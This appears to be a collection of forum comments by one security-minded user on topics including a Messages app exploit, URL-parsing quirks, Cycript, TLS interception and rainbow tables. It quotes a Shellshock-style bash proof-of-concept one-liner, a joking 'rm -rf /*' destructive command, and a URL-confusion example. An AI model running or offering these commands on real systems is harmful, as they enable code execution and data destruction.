moloch

Yes it surprised us too, we didn't even think about looking into Messages until Shubs jokingly started sending payloads to me using it.

You need the full a://a.a/%0a to match the URL pattern, but that's the jist of it.

Sorry about the mix up, the code available here: https://github.com/moloch--/cve-2016-1764

and here: https://github.com/BishopFox/cve-2016-1764

nw.js is somewhat concerning from a security standpoint, you're always one XSS vulnerability away for arbitrary code execution.

Yes.

It can affect what domain you end up at though, for example:

http://foo:bar.com\@example.com

Chrome/Webkit browsers will go to `bar.com` but Firefox will end up at `example.com` for the same URL! There's a fantastic book called "The Tangled Web" that has lots of examples of these pitfalls.

It's not difficult to intercept this type of encrypted communication, since it's coming from your computer you can just hook the functions responsible for sending the data, or for encrypting it in the first place. Many times it's as simple as adding your own CA to the trusted certificate store.

It's the same security model as downloading a binary and running it.

Only a few hundred million more and they'll be close to Facebook's user-base!

PoC floating around:

rm -f echo && env -i X='() { (a)=>\' bash -c 'echo date'; cat echo

Not a great idea to just leave your phpinfo() out there in the open.

...and still only 4Gb of memory.

Here you go "CodeSearchDiggity": http://www.bishopfox.com/resources/tools/google-hacking-digg...

'rm -rf /*' should do the trick; kind enough to leave them with a '/' directory.

I've been using cycript for a while now for reverse engineering iOS applications, and it's absolute witchcraft! You can tab-complete your way through objects, call arbitrary functions, -- it's a fantastic tool for any pen-testers doing work in the mobile space.

It's nice to see this project get some much needed love, I tried to compile it from source a while back and it was a nightmare.

It's open source: http://svn.saurik.com/repos/cycript/trunk/

Direct link: https://www.youtube.com/watch?v=xEJIR0-KJu0

You can also just use Cycript http://www.cycript.org/

Or just not confessed; him using TOR around the same time is not going to be enough to convict him.

Even if you're in the US there's only a very very small chance you'll be able to participate in the beta.

> "Uncovering pedophiles on the Internet is impossible without mass surveillance of the Internet"

Didn't realize the TV show "To Catch a Predator" did mass surveillance of the internet, NBC is taking investigative journalism to an extreme.

The leaked passwords were different lengths, of course they weren't hashed.

I have some equally simple, but networked examples here: https://github.com/moloch--/Exploit-Demos

On most systems it can be disabled in the BIOS; not sure about this exact model.

Notably newer Intel CPUs (iirc, Sandybridge and later) include a true random number generator, but I'm not sure how much software supports it yet.

You should not trust emails.

Very true, for those interested -

Xbox: http://www.youtube.com/watch?v=6fOjGLCctEY&hd=1

Xbox 360: http://www.youtube.com/watch?v=uxjpmc8ZIxM&hd=1

PS3: http://www.youtube.com/watch?v=4loZGYqaZ7I&hd=1

Wii: http://www.youtube.com/watch?v=2z81BCko-UY&hd=1

This touches on an interesting human behavior; the difference between $0.00 and $0.01 is huge, much larger than $0.01 to $0.02, or even $0.01 to $0.99 - this is talked about (among other interesting topics) in the book "Predictably Irrational" by Dan Ariely.

https://en.wikipedia.org/wiki/Predictably_irrational

http://www.youtube.com/watch?v=9X68dm92HVI

This is already being done (albeit not with the aforementioned computer) with the same tech that the Folding@Home people use.

http://freerainbowtables.com/

You're going to need a bigger computer.